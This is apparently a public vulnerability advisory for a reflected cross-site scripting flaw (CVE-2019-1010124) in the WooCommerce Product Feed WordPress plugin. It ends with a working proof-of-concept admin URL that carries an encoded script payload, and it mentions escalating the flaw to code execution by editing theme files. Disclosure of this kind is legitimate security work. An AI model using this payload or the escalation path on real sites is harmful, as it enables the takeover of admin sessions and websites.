WordPress Plugin WooCommerce Product Feed 2.2.18 – Cross-Site Scripting
# Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting # Date: 30 August 2019 # Exploit Author: Damian Ebelties (https://zerodays.lol/) # Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/ # Version: <= 2.2.18 # Tested on: Ubuntu 18.04.1 # CVE: CVE-2019-1010124 The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input, which leads to Cross-Site Scripting in the Admin Panel. Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme files via (for example) XHR requests with included Javascript. Proof-of-Concept: https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E |